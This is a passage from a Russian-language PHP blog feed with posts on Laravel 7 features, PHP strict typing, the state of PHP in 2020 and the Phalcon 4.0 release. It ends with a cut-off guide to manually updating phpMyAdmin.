}</code></pre><p>Теперь мы можем использовать наш собственный актерский состав в нашей модели<br></p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php
 
namespace App;
 
use App\Casts\Json;
use Illuminate\Database\Eloquent\Model;
 
class User extends Model
{
    
    protected $casts = [
        'extra' =&gt; Json::class,
    ];
}</code></pre><h2>Fluent операции над строками</h2><p>В Laravel 7 вы можете делать более классную и более объектно-ориентированную обработку строк с помощью класса Illuminate\Support\Str</p><pre class="line-numbers"><code class="language-php">$currentVersion = (string) Str::of('Laravel 6.x');
</code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <code class="language-php">-&gt;trim()
        </code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<code class="language-php">-&gt;replace('6.x', '7.x')
        </code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<code class="language-php">-&gt;slug();</code></pre><h2>Теги компонентов Blade&nbsp;</h2><p>В Laravel 7 шаблонизатор&nbsp; Blade был серьезно доработан - добавлен новый функционал. X функции дают вам возможность сделать компонент и связанный с ним класс, который указывает принимаемые данные<br></p><p>НАпример, создание х-компонента</p><p><br></p><pre class="line-numbers"><code class="language-php">@php($user = $user ?? Auth::user())
@php($size = $size ?? 50)
 
&lt;img
    class="inline-block rounded-full"
    src="{{ $user-&gt;gravatarUrl($size) }}"
    width="{{ $size }}"
    height="{{ $size }}"
/&gt;</code></pre><p>используем x blade</p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;x-avatar/&gt;
&lt;x-avatar size="40" /&gt;
&lt;x-avatar size="100" /&gt;</code></pre><h2>Касты времени в запросах</h2><p>Иногда возникает необходимость применить преобразование во время выполнения запроса, например, при выборе необработанного значения из таблицы.</p><p><br></p><pre class="line-numbers"><code class="language-php">$users = User::select([
    'users.*',
    'last_posted_at' =&gt; Post::selectRaw('MAX(created_at)')-&gt;whereColumn('user_id', 'users.id')
])
-&gt;withCasts(['last_posted_at' =&gt; 'date'])
-&gt;get();</code></pre><h2>Множество почтовых драйверов</h2><p>Laravel 7 позволит вам настроить несколько почтовых драйверов для одного приложения.</p><p><br></p><pre class="line-numbers"><code class="language-php">Mail::mailer('noreply')
        -&gt;to($request-&gt;user())
        -&gt;send(new PostUpdated($post));</code></pre><h2>Новая команда test для Artisan</h2><p>В дополнение к phpunit команде вы можете теперь использовать команду test для запуска ваших тестов. Бегущий по тестам Artisan предоставляет прекрасный UX консоли и больше информации о тесте, который в данный момент выполняется. Кроме того, бегун автоматически остановится при первом провале теста:</p><pre class="line-numbers"><code class="language-powershell">php artisan test</code></pre><p><img src="/files/blog/2020/chto-novogo-v-laravel-70-WTR3SA.png" style="color: rgb(33, 37, 41); font-family: SFMono-Regular, Menlo, Monaco, Consolas, &quot;Liberation Mono&quot;, &quot;Courier New&quot;, monospace; font-size: 14px;"><br></p><p>&nbsp;Любые аргументы, которые могут быть переданы&nbsp;<span style="font-size: 1rem;">команде&nbsp;</span>phpunit, также могут быть переданы команде Artisan test:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">php artisan test --group=feature</code></pre><h2>Улучшения скорости маршрутов</h2><p>Новый метод сопоставления соответствовал кэшированным маршрутам, которые были кэшированы с использованием route:cache&nbsp;был включен в обновленную версию Laravel 7.</p><p>Следовательно, это улучшение может дать вам в 2 раза более высокую производительность при сопоставлении маршрутов, чем Laravel 6, при использовании команды&nbsp;<span style="font-size: 1rem;">Artisan</span>&nbsp;route:cache .</p><h2>Улучшения привязки модели маршрута</h2><p>По умолчанию привязка модели маршрута работает с полем id. Теперь вы можете настроить его и изменить, например, по псевдониму ()(</p><p><br></p><pre class="line-numbers"><code class="language-php">Route::get('posts/{post:slug}', function (App\Post $post) {
    return $post;
});</code></pre><p>Автоматический Scoping</p><p>Иногда при неявном связывании нескольких моделей Eloquent в одном определении маршрута вы можете захотеть определить вторую модель Eloquent так, чтобы она была дочерней по отношению к первой модели Eloquent. Например, рассмотрим ситуацию, при которой сообщение из блога извлекается псевдонимом для определенного пользователя:</p><p><br></p><pre class="line-numbers"><code class="language-php">use App\Post;
use App\User;
Route::get('api/users/{user}/posts/{post:slug}', function (User $user, Post $post) {
    return $post;
});</code></pre><h2>Улучшение очереди базы данных</h2><p>Laravel 7 предоставляет улучшения для приложений, использующих MySQL 8+ в качестве своей очереди с поддержкой базы данных.</p><p>Драйвер базы данных теперь можно безопасно использовать в производственных приложениях с большим объемом, используя FOR UPDATE SKIP LOCKED и другие усовершенствования SQL.</p><h2>Улучшения шаблона почтовой разметки</h2><p>Почтовый шаблон разметки по умолчанию получил новый, более свежий дизайн, с цветовой палитрой Tailwind CSS. Шаблон можно публиковать и настраивать по своему усмотрению</p><p><img src="/files/blog/2020/chto-novogo-v-laravel-70-mez5UE.png"></p><h2>Настройка заглушки</h2><p><span style="font-size: 1rem;">Команды консоли Artisan&nbsp;</span>make используются для создания различных классов, таких как контроллеры, задания, миграции и тесты. Эти классы создаются с использованием файлов-заглушек, которые заполняются значениями на основе вашего ввода. Однако иногда вы можете захотеть внести небольшие изменения в файлы, созданные Artisan. Для этого Laravel 7 предоставляет команду для публикации наиболее распространенных заглушек для настройки: stub:publish</p><pre class="line-numbers"><code class="language-powershell">php artisan stub:publish</code></pre><p>Опубликованные заглушки будут находиться в&nbsp;<span style="font-size: 1rem;">каталоге&nbsp;</span>stubs в корне вашего приложения. Любые изменения, внесенные в эти заглушки, будут отражены при создании соответствующих классов с помощью&nbsp;<span style="font-size: 1rem;">команд Artisan</span>&nbsp;make.</p><h2>Конфигурация очереди - maxExceptions</h2><p>Иногда вам может потребоваться указать, что задание может быть выполнено много раз, но оно не будет выполнено, если повторные попытки инициируются с помощью определенного числа исключений. В Laravel 7 вы можете определить&nbsp;<span style="font-size: 1rem;">свойство</span>&nbsp;maxExceptions вашего класса работы:</p><pre class="line-numbers"><code class="language-php">&lt;?php

namespace App\Jobs;

class ProcessPodcast implements ShouldQueue
{
    /**
     * The number of times the job may be attempted.
     *
     * @var int
     */
    public $tries = 25;

    /**
     * The maximum number of exceptions to allow before failing.
     *
     * @var int
     */
    public $maxExceptions = 3;

    /**
     * Execute the job.
     *
     * @return void
     */
    public function handle()
    {
        Redis::throttle('key')-&gt;allow(10)-&gt;every(60)-&gt;then(function () {
            // Lock obtained, process the podcast...
        }, function () {
            // Unable to obtain lock...
            return $this-&gt;release(10);
        });
    }
}</code></pre><p>В этом примере задание освобождается на десять секунд, если приложение не может получить блокировку Redis и будет повторяться до 25 раз. Тем не менее, задание не будет выполнено, если сгенерирует три необработанных исключения.<br></p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/26</guid>
                <pubDate>2020-03-03T02:46:25+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[declare(strict_types=1) - Строгая типизация в PHP ]]></title>
                <link>https://sergeymukhin.com/blog/strogaya-tipizatsiya-php</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">declare(strict_types=1) - Строгая типизация в PHP </h1><blockquote>По умолчанию PHP работает в нестрого-типизированном режиме, если вы хотите работать в строгом режиме, нужно кое-что добавить</blockquote><p>Все чаще стал замечать, что много пользователей приходят на сайт с поисковым запросом "строгая типизация php", поэтому я решил немного уделить этому времени и написать небольшой пост о том, как включить&nbsp;<span style="font-size: 1rem;">режим&nbsp;</span>строгой типизации в вашем проекте.</p><h2>Немного информации</h2><p>Строгая типизация была введена в PHP 7, благодаря ей появилась возможность указывать типы аргументов функций(методов) и тип возвращаемого значения.&nbsp;</p><p>По умолчанию PHP 7, работая в нестрого типизированном режиме, будет стараться&nbsp; преобразовать значения другого типа в ожидаемый скалярный тип, если это возможно. Например, функцию, ожидающую строку, можно по-прежнему вызывать с целочисленным аргументом, поскольку целое число можно преобразовать в строку, как показано в следующем примере:</p><pre class="line-numbers"><code class="language-php">&lt;?php

function getAge (string $age ) { 
    var_dump ($age); 
} 

$age = 33; 
getAge($age); 
// string (2) "33" </code></pre><p>Без строгой типизации PHP преобразовал целое число 33 в строку "33", что и следовало ожидать.</p><p>Введение таких подсказок скалярного типа и включение строгих требований позволит писать более правильные и самодокументированные программы PHP. Это также дает вам больше контроля над вашим кодом и может облегчить его чтение. Тем более что, в последней версии <a href="https://sergeymukhin.com/blog/novoe-v-php-74" target="_blank">PHP 7.4</a>. ввели типизированные свойства, что делает строгую типизацию еще строже :).<br></p><h2>Как включить строгую типизацию в PHP?</h2><p>В PHP 7 нам завезли&nbsp;<span style="font-size: 1rem;">директиву</span>&nbsp;declare(strict_types=1);, которая как раз и включает строгий режим. В строгом режиме будет принята только переменная точного, заданного типа, или&nbsp;<span style="font-size: 1rem;">будет выброшен</span>&nbsp;TypeError. Единственное исключение из этого правила состоит в том, что функция, ожидающая float, может давать целое число.</p><p>Итак, переделываем наш пример выше под строгую типизацию:</p><pre class="line-numbers"><code class="language-php">&lt;?php
declare(strict_types = 1);

function getAge(string $age) {
 var_dump($age);
}

$age = 33;
getAge($age);

//Fatal error: Uncaught TypeError: Argument 1 passed to getAge() must be of the type string, integer given..</code></pre><p>и ожидаемо получаем исключение&nbsp;TypeError.</p><pre class="line-numbers"><code class="language-php">&lt;?php
declare(strict_types = 1);

function getFloat(float $f) {
    var_dump ($f);
}

$int = 666;
var_dump($int);
//int(666)

getFloat($int);
//float(666)</code></pre><blockquote>Следует учитывать, что включение режима строгой типизации также повлияет на объявления типов возвращаемых значений - при строгой типизации возвращаемое значение должно быть так же заданного типа, или так же будет выброшено исключение TypeError.</blockquote><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php
declare(strict_types = 1);

function getFloat(float $f): int 
{
    return (int) $f;
}

$int = getFloat(100);</code></pre><p>Директива declare(strict_types=1) должна быть вставлена в первой строке вашего кода,&nbsp;даже перед пространствами имен, соответственно после открытия &lt;?php , иначе вылезет ошибка компиляции. </p><p>Так же следует учитывать, что строгость определяется файлом, в котором выполняется вызов функции, а не файлом, в котором определена функция. Если файл без строгой типизации вызывает функцию, которая объявлена в файле с включенным режимом, значения аргументов будут приведены к нужным типам и ошибок не последует.&nbsp;<span style="font-size: 1rem;">Вам нужно будет объявить declare(strict_types=1); в верхней части каждого файла, где вы намереваетесь использовать строгую типизацию.</span></p><p><b>Строгая типизация определяется только для объявлений скалярного типа, поэтому не будет работать в PHP менее 7 версии, поскольку объявления скалярного типа были добавлены именно в этой версии.&nbsp;</b></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/23</guid>
                <pubDate>2020-02-21T07:50:28+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP в 2020 году]]></title>
                <link>https://sergeymukhin.com/blog/php-v-2020-godu</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP в 2020 году</h1><blockquote>В этом посте я хочу взглянуть на яркую сторону разработки PHP. Я покажу вам, что, несмотря на многие недостатки, PHP является полезным языком для изучения</blockquote><p>Не секрет, что среди веб-разработчиков, да и&nbsp; программистов&nbsp;<span style="font-size: 1rem;">и в целом: PHP имеет не лучшую репутацию. Несмотря на это, он по-прежнему является одним из наиболее часто используемых языков для создания веб-приложений. За все эти годы, PHP сумел зарекомендовать себя как язык с невысоким порогом вхождения для&nbsp; разработчиков, которые пишут "грязный" и небезопасный код.</span></p><p><span style="font-size: 1rem;">Но это не отменяет того, что сегодня&nbsp;</span><span style="font-size: 1rem;">на PHP,&nbsp;</span><span style="font-size: 1rem;">можно писать чистые, поддерживаемые, быстрые и надежные приложения.</span></p><p><span style="font-size: 1rem;">Эра PHP 5 подошла к концу, и можно оставить позади б<span style="font-weight: bolder;">о</span>льшую часть беспорядка, который был&nbsp;</span><span style="font-size: 1rem;">лет&nbsp;</span><span style="font-size: 1rem;">10 назад. Итак, давайте посмотрим, как язык&nbsp;</span>изменился<span style="font-size: 1rem;">,&nbsp;</span>повзрослел<span style="font-size: 1rem;">&nbsp;за последние несколько лет.</span></p><h2>Подытожим историю&nbsp;</h2><p>Прежде чем углубляться в детали, давайте рассмотрим, как в наши дни разрабатывается язык PHP. Сейчас мы находимся на&nbsp;<a href="https://sergeymukhin.com/blog/novoe-v-php-74" target="_blank">версии PHP 7.4</a>, а следующей версией станет&nbsp;<a href="https://sergeymukhin.com/blog/chto-novogo-v-php-8" target="_blank">PHP 8.0</a>, которая выйдет в конце 2020 года.</p><p>Начиная с поздних версий 5. *, основная команда старается поддерживать&nbsp;<a href="https://www.php.net/supported-versions.php" target="_blank">постоянный годовой цикл выпуска</a>&nbsp;и преуспела в этом в течение последних четырех лет.</p><p>В целом, каждый новый выпуск активно поддерживается в течение двух лет и получает еще один год «только исправлений безопасности». Цель состоит в том, чтобы побудить разработчиков оставаться в курсе как можно больше: обновляться потихоньку каждый год гораздо легче, чем, например, резкий переход от 5.4 до 7.0.</p><p>PHP 5.6 была последней версией 5. * перед выпуском 7.0. Если вы хотите узнать, что случилось с PHP 6, вы можете прослушать этот эпизод&nbsp;<a href="https://www.phproundtable.com/episode/what-happened-to-php-6" target="_blank">подкаста PHP Roundtable</a>.</p><p>Разработка PHP в настоящее время осуществляется группой добровольцев, некоторые из которых получают заработную плату от своих работодателей, чтобы они работали над основной работой. Большая часть обсуждения того, как развивается язык, происходит в списке рассылки.</p><h2>Система типов PHP</h2><p>Сначала PHP был очень слабо и динамически типизированный язык, который в то время имел свои преимущества. С тех пор, как люди начали использовать PHP для более крупных проектов, недостатки системы типов стали очевидными, и возникла необходимость в более сильной поддержке типов.</p><p>Сегодня PHP является довольно уникальным языком: он по-прежнему позволяет вам писать полностью динамически и слабо типизированный код, но также имеет гораздо более сильную систему опциональных типов. В сочетании со статическим анализом и такими инструментами, как <a href="https://github.com/vimeo/psalm" target="_blank">Psalm</a>, <a href="https://github.com/phan/phan" target="_blank">Phan</a> и <a href="https://github.com/phpstan/phpstan" target="_blank">PHPStan</a>, вы можете написать защищенный, строго типизированный и статически проанализированный код.<br></p><p>Взгляните, например, на этот фрагмент кода PHP:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">&lt;?php

declare(strict_types=1);

final class Foo
{
    public int $intProperty = 2;

    public ?string $nullableString = null;

    private Bar $bar;

    public function __construct(Bar $bar) {
        $this-&gt;bar = $bar;
    }
    
    public function withInt(int $value): self
    {
        $clone = clone $this;
    
        $clone-&gt;intProperty = $value;

        return $clone;
    }
    
    public function unionTypes(int|float $input): void
    {
        // Union types will be added in PHP 8
    }
}</code></pre><p>Пока в системе типов PHP по-прежнему отсутствует одна важная особенность: дженерики. Есть надежда, что они будут добавлены, но пока нет ничего конкретного. В случае типизированных массивов вам нужно полагаться на docblocks, чтобы получить надлежащую поддержку IDE:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">/** @var int[] */
public array $arrayOfInts = [];</code></pre><p>И хотя типизированные массивы являются распространенным вариантом использования обобщенных элементов, которые можно решить с помощью docblocks, мы упускаем гораздо больше функциональности, потому что их нет в языке ... пока.</p><h2>Синтаксис PHP</h2><p>Эра 7.* сделала много хорошего, сделав PHP более зрелым языком, когда дело касается синтаксиса языка. Чтобы проиллюстрировать это, я сделал не полный список новых вещей в PHP.</p><p><a href="https://sergeymukhin.com/blog/destrukturizatsiya-massiva-v-php" target="_blank">Деструктуризация массива</a>:</p><p><br></p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">[$a, $b] = $array;</code></pre><p>Нулевой коалесцирующий оператор:</p><p><br></p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">$value = $object-&gt;property ?? 'присваиваемое значение если null';

$value = $array['foo'] ?? "значение, если ключ не существует"; </code></pre><p>Оператор присваивания с нулевым слиянием:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">public function get(string $input): string 
{
    return $this-&gt;cache[$input] ??= $this-&gt;sanitize($input);
}</code></pre><p>Распаковка массива:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">$a = [/* … */];
$b = [/* … */];

$mergedArray = [...$a, ...$b];</code></pre><p>Вариадические функции:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">public function get(Foo ...$foos): void
{
    foreach($foos as $foo) {
        // …
    }
}</code></pre><p>Аргумент распаковки:<br></p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">$this-&gt;get(...$arrayOfFoo);</code></pre><p><a href="https://sergeymukhin.com/blog/tipizirovannye-svoystva-v-php" target="_blank">Типизированные свойства</a>:</p><p><br></p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">public int $intProperty;</code></pre><p>Стрелочные функции, также называемые <a href="https://sergeymukhin.com/blog/korotkie-zamykaniya-v-php" target="_blank">короткими замыканиями</a>:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">$ids = array_map(fn(Post $post): int =&gt; $post-&gt;id, $posts);</code></pre><p>Генераторы:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">function make(array $input): Generator
{
    foreach ($input as $item) {
        yield $this-&gt;doSomethingWith($item);
    }
}</code></pre><p>И многое другое. Я надеюсь, что из этого списка ясно, что PHP все еще развивается сегодня, и вы можете быть уверены, что это не предел, и дальше будет лучше.</p><h2>Производительность PHP</h2><p>Возвращаясь в дни 5 версии производительность PHP была…ну в лучшем случае средней. Однако в 7 версии большая часть ядра PHP была переписана с нуля, что привело к увеличению производительности в два-три раза. Кроме того, каждая версия 7. * оказала положительное влияние на производительность.</p><p>К счастью, есть люди, которые потратили достаточно времени на тестирование производительности версий PHP.&nbsp; У&nbsp;&nbsp;<a href="https://kinsta.com/blog/php-benchmarks/" target="_blank">Кинста</a> всегда есть обновленный список сравнения производительности старых и новых версий.<br></p><p>Последняя функция, связанная с производительностью, называется предварительной загрузкой (preload), которая в основном позволяет хранить скомпилированные части вашего кода PHP в памяти.<br></p><p>Когда выйдет<a href="https://sergeymukhin.com/blog/chto-novogo-v-php-8" target="_blank"> PHP 8</a>, в нашем распоряжении также окажется&nbsp;<a href="https://sergeymukhin.com/blog/php-jit" target="_blank">JIT-компилятор</a>, обещающий интересные улучшения производительности и позволяющий войти языку PHP в новые области помимо веб-разработки.</p><h2>Фреймворки и экосистема</h2><p>Бытуем мнение что PHP это CMS'ки типа WordPress, Joomla и пр., но должен сказать, PHP уже давно не просто WordPress, а гораздо больше. Н<span style="font-size: 1rem;">а сегодняшний день очень популярны&nbsp;</span>два основных фреймворка веб-приложений: Symfony и Laravel&nbsp;<span style="font-size: 1rem;">&nbsp;</span><span style="font-size: 1rem;">и несколько менее популярных:&nbsp;</span>Zend Framework, Yii, CakePHP, CodeIgniter,&nbsp;Phalcon и т.д. - если вы хотите знать, как выглядит современная PHP-разработка, вам достаточно хорошо&nbsp;<span style="font-size: 1rem;">познакомиться</span><span style="font-size: 1rem;">&nbsp;</span>с Symfony или Laravel.</p><p>Оба фреймворка имеют большую экосистему пакетов и продуктов. Начиная от административных панелей и CRM до автономных пакетов, CI для профилировщиков, многочисленных сервисов, таких как серверы веб-сокетов, менеджеры очередей, интеграции платежей; их бесчисленное множество.<br></p><p>В то же время, если вам нужно только управление контентом вашего сайта, то к вашим услугам все те же CMS WordPress, Drupal и Joomla.<br></p><p>Один из способов измерить текущее состояние экосистемы PHP - взглянуть на Packagist - основной репозиторий пакетов для PHP. Можно наблюдать экспоненциальный рост. С ±25 миллионами загрузок в день, можно сказать, что экосистема PHP - уже совсем не та слабая сторона, которой когда-то она была.<br></p><p>Посмотрите на этот график, в котором указано количество пакетов и версий с течением времени. Его также можно найти на <a href="https://packagist.org/statistics" target="_blank">веб-сайте Packagist</a>.</p><p><img src="/files/blog/2020/php-v-2020-godu-sSqQQM.png"></p><p>Помимо обычных фреймворков и CMS, мы также можем наблюдать рост популярности асинхронных фреймворков&nbsp;в последние годы. Это фреймворки и серверы, написанные на PHP или других языках, которые позволяют пользователям запускать действительно асинхронный код PHP. Самые крупные игроки - это <a href="https://www.swoole.co.uk/" target="_blank">Swoole</a>, <a href="https://amphp.org/" target="_blank">Amp</a> и <a href="https://reactphp.org/" target="_blank">ReactPHP</a>.</p><p>С тех пор как мы углубились в асинхронный мир, такие вещи, как веб-сокеты и приложения с большим количеством операций ввода-вывода, стали действительно актуальными в мире PHP.<br></p><p>В списке внутренних рассылок также говорилось о том, чтобы <a href="https://externals.io/message/102415#102415" target="_blank">добавить libuv</a> в ядро . Для тех, кто не знает libuv: это та же библиотека, которую Node.js использует для обеспечения своей асинхронности. Кто знает, может быть PHP 8 будет той версией, добавляющей его в ядро!<br></p><h2>Так стоит ли изучать php в 2020 году?</h2><p>Надеюсь, я смог показать вам, что PHP значительно эволюционировал за последние годы, и&nbsp;<span style="font-size: 1rem;">с его помощью вы</span>&nbsp;сможете писать чистый и поддерживаемый код .</p><p>Если вам интересно, как выглядит PHP-код в наши дни, вы можете проверить исходный код каких-нибудь популярных фреймворков, а также множество пакетов с открытым исходным кодом&nbsp;<span style="font-size: 1rem;">на github</span>.</p><p>Таким образом, в то время как у языка определенно есть свои недостатки и 20-летнее наследие, я могу с уверенностью сказать, что мне нравится работать с ним.<br></p><p>По своему опыту я могу сказать, что на PHP можно создавать надежное, обслуживаемое и качественное программное обеспечение. Несмотря на то, что на PHP все еще возможно написать различный говно-код, я бы сказал, что это отличный выбор для веб-разработки, если его использовать правильно.</p><p>Ну и практическая сторона вопроса: на рынке труда PHP очень востребован, как во фриланс сегменте, так и в офисе. Вы точно не останетесь без работы, если будете знать синтаксис языка, а так же его слабые и сильные стороны.</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/21</guid>
                <pubDate>2020-02-11T07:36:58+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Релиз Phalcon 4.0]]></title>
                <link>https://sergeymukhin.com/blog/reliz-phalcon-40</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Релиз Phalcon 4.0</h1><blockquote>Команда Phalcon рада сообщить о выпуске стабильной четвертой версии быстрого фреймворка Phalcon.</blockquote><p>В течение продолжительного времени - больше года, контрибьюторы фреймворка работали над новой версией, предлагая самые смелые реализации, которые должны были стать основой будущих выпусков Phalcon.<br></p><p>Помню ровно год назад была выпущена первая альфа-версия, почти не работоспособная ;), но такая желанная! И с тех пор разработка продолжалась, добавлялись новые функциональные возможности, исправлялись недостатки архитектуры, переписывалась кодовая база, чтобы в полной мере воспользоваться преимуществами повышения скорости PHP 7, а так же более строгих типов для переменных.</p><h2>Особенности релиза</h2><ul><li>Минимальная версия PHP 7.2</li><li>Удален неподдерживаемый код</li><li>Обязательная поддержка PSR</li><li>PSR-7</li><li>PSR-11 (прокси)</li><li>PSR-13</li><li>PSR-16</li><li>PSR-17</li><li>Более строгие интерфейсы</li><li>Фабрики</li><li>Переписана документация<br></li><li>И многое другое…<br></li></ul><p><br></p><h2>Документация Phalcon 4.0</h2><p><a href="https://docs.phalcon.io/4.0/en/introduction" target="_blank">Новая документация</a> уже доступна для ознакомления с новым функционалом фреймворка.&nbsp; Переход с предыдущей 3 версией на новую так же <a href="https://docs.phalcon.io/4.0/en/upgrade" target="_blank">описан достаточно подробно</a>. У меня, например, обновление одного из небольших сайтов никаких больших сложностей не вызвало, но свои тонкости все же есть. Если получится залью на ютуб более подробное видео процесса апргрейда.&nbsp;</p><p><br></p><h2>Требования</h2><h3>PHP 7.2</h3><p>Phalcon v4 поддерживает только PHP 7.2 и выше. PHP 7.1 был выпущен 2 года назад, и его активная поддержка прекратилась, поэтому команда решила активно следовать только поддерживаемым версиям PHP.</p><h3>PSR</h3><p>Phalcon требует расширение PSR. Расширение можно скачать и скомпилировать из <a href="https://github.com/jbboehr/php-psr" target="_blank">этого репозитория</a>. Инструкция по установке доступна в README репозитория. Как только расширение будет скомпилировано и доступно в вашей системе, вам нужно будет загрузить его в свой php.ini. По приоритету нужно будет добавить:</p><pre class="line-numbers"><code class="language-powershell">extension=psr.so</code></pre><p>перед</p><pre class="line-numbers"><code class="language-powershell">extension=phalcon.so</code></pre><p>т.е. сделать, например так, 20-psr.ini и 30-phalcon.ini.</p><h3>Applications</h3><p>При создании Phalcon\Mvc\Application, Phalcon\Mvc\Micro или handle в Phalcon\Mvc\Router должны обязательно содержать URI:</p><pre class="line-numbers"><code class="language-php">$di = new FactoryDefault();

$application = new Application($di);

    echo str_replace(["\n","\r","\t"], '',
        $application
            -&gt;handle($_SERVER["REQUEST_URI"])
            -&gt;getContent()
    );

...
<font color="rgba(40, 35, 49, 0.701960784313725)" face="Oswald, sans-serif"><span style="font-size: 16px; white-space: normal;">
</span></font></code></pre><h3>Exceptions</h3><p>Отлов исключений изменен с&nbsp;Exception на Throwable.</p><p>Удалены или изменены многие классы в ACL, Assets, Cache, CLI, Db, Filter, Html, Http, Mvc, Session, Validation, Url. С полным списком можно ознакомиться&nbsp;<a href="https://docs.phalcon.io/4.0/en/upgrade" target="_blank"> на странице апгрейда</a>.</p><p>В целом процесс обновления происходит методом отлова ошибок; сначала обновление фреймворка до 4 версии (обязательно с новой версией PHP и наличием расширения PSR), внедрение дебаггера Phalcon\Debug в код приложения, и далее постепенная отладка и решение возникших проблем. Замена классов и удаление некоторых уже не актуальных участков кода.</p><p><br></p><p><br></p><div class="embed-responsive embed-responsive-16by9" style="float: none;"><iframe frameborder="0" src="//www.youtube.com/embed/dAig_Ll9Txk?&amp;loop=0" width="auto" height="auto" class="embed-responsive note-video-clip"></iframe></div><p><br></p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/20</guid>
                <pubDate>2019-12-22T03:38:32+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Как вручную обновить phpMyAdmin]]></title>
                <link>https://sergeymukhin.com/blog/kak-vruchnuyu-obnovit-phpmyadmin</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Как вручную обновить phpMyAdmin</h1><blockquote>Со времени выпуска Ubuntu 18.04 и других дистрибутивов Linux у многих людей возникли проблемы с совместимостью PHP 7.2 и phpMyAdmin 4.6. В посте мы разберем как решить эту проблему и что делать дальше</blockquote><p>Когда у вас стоит phpMyAdmin и в репозитории не обновляют последнюю версию, а warning'ы типа&nbsp;</p><pre class="line-numbers"><code class="language-php">“Warning in ./libraries/sql.lib.php#613 count(): Parameter must be an array or an object that implements Countable”</code></pre><p>уже начинают доставать, то тут либо заходить в каждый файл и заменять строчки кода;&nbsp;</p><pre class="line-numbers"><code class="language-php">count($analyzed_sql_results['select_expr'] == 1</code></pre><p>на</p><pre class="line-numbers"><code class="language-php">((count($analyzed_sql_results['select_expr']) == 1)</code></pre><p>либо же, что логичнее всего, обновить версию phpMyAdmin до последней версии, вручную.</p><h2>Обновление phpMyAdmin до последней версии</h2><h3>1. Сделайте резервную копию</h3><p>На всякий пожарный случай, можно сделать резервную копию текущей папки phpMyAdmin, переместив ее с добавлением к имени, что-нибудь типа bak:</p><pre class="line-numbers"><code class="language-powershell">sudo mv /usr/share/phpmyadmin/ /usr/share/phpmyadmin.bak</code></pre><p><br></p><h3>2. Загрузите и распакуйте phpMyAdmin</h3><p>Зайдите в папку phpMyAdmin, скорее всего это будет:</p><pre class="line-numbers"><code class="language-powershell">cd /usr/share/phpmyadmin</code></pre><p>Далее, зайдите на <a href="https://www.phpmyadmin.net/downloads/" target="_blank" style="background-color: rgb(255, 255, 255);">страницу загрузок phpMyadmin</a>, скопируйте ссылку на последнюю версию, и загрузите zip архив с помощью wget:<br></p><pre class="line-numbers"><code class="language-powershell">sudo wget -P https://files.phpmyadmin.net/phpMyAdmin/4.9.2/phpMyAdmin-4.9.2-all-languages.zip</code></pre><p>На сегодняшний день, последняя стабильная версия 4.9.2. Если теперь доступна более поздняя версия, не забудьте изменить версию в ссылке.</p><p>Далее распакуем архив с помощью unzip, если нет данной утилиты, то установите ее sudo apt-get install unzip:</p><pre class="line-numbers"><code class="language-powershell">sudo unzip phpMyAdmin-4.9.2-all-languages.zip</code></pre><h3>3. Скопируйте и удалите папку и архив</h3><p>Для надежности используем команду cp (копировать), чтобы скопировать распакованную папку! Обратите внимание, что необходим -r аргумент, так как это папка:</p><pre class="line-numbers"><code class="language-powershell">sudo cp -r phpMyAdmin-4.9.2-all-languages phpmyadmin</code></pre><p>Если все прошло успешно можно удалить ненужные папку и архивы:</p><pre class="line-numbers"><code class="language-powershell">sudo rm -rf phpMyAdmin-4.9.2-all-languages
sudo rm phpMyAdmin-4.9.2-all-languages.zip
sudo rm -rf phpmyadmin.bak
</code></pre><p>Теперь же зайдя по адресу /phpmyadmin мы уже можем увидеть обновленную версию PMA, но внизу будут предупреждения об отсутствии временной папки tmp и пустой парольной фразе blowfish_secret:<br></p><p><br><img src="/files/blog/2019/kak-vruchnuyu-obnovit-phpmyadmin-jt66CU.png"></p><p>&nbsp;</p><h3>4. Отредактируйте конфигурационные файлы</h3><p>Чтобы исправить данную проблему, можно пойти двумя путями:</p><p><b>Первый вариант -</b>&nbsp;это замена в файле "/usr/share/phpmyadmin/libraries/vendor_config.php" параметры TEMP_DIR и CONFIG_DIR на значения ниже:</p><pre class="line-numbers"><code class="language-powershell">sudo nano /usr/share/phpmyadmin/libraries/vendor_config.php</code></pre><pre class="line-numbers"><code class="language-php">define('TEMP_DIR', '/var/lib/phpmyadmin/tmp/');</code></pre><p>и</p><pre class="line-numbers"><code class="language-php">define('CONFIG_DIR', '/etc/phpmyadmin/');</code></pre><p>phpMyAdmin теперь будет генерировать собственный blowfish_secret на основе каталога установки.</p><p><br></p><p><b>Второй вариант - </b>создать временную папку в корне /usr/share/phpmyadmin, как ссылается параметр конфига&nbsp;<span 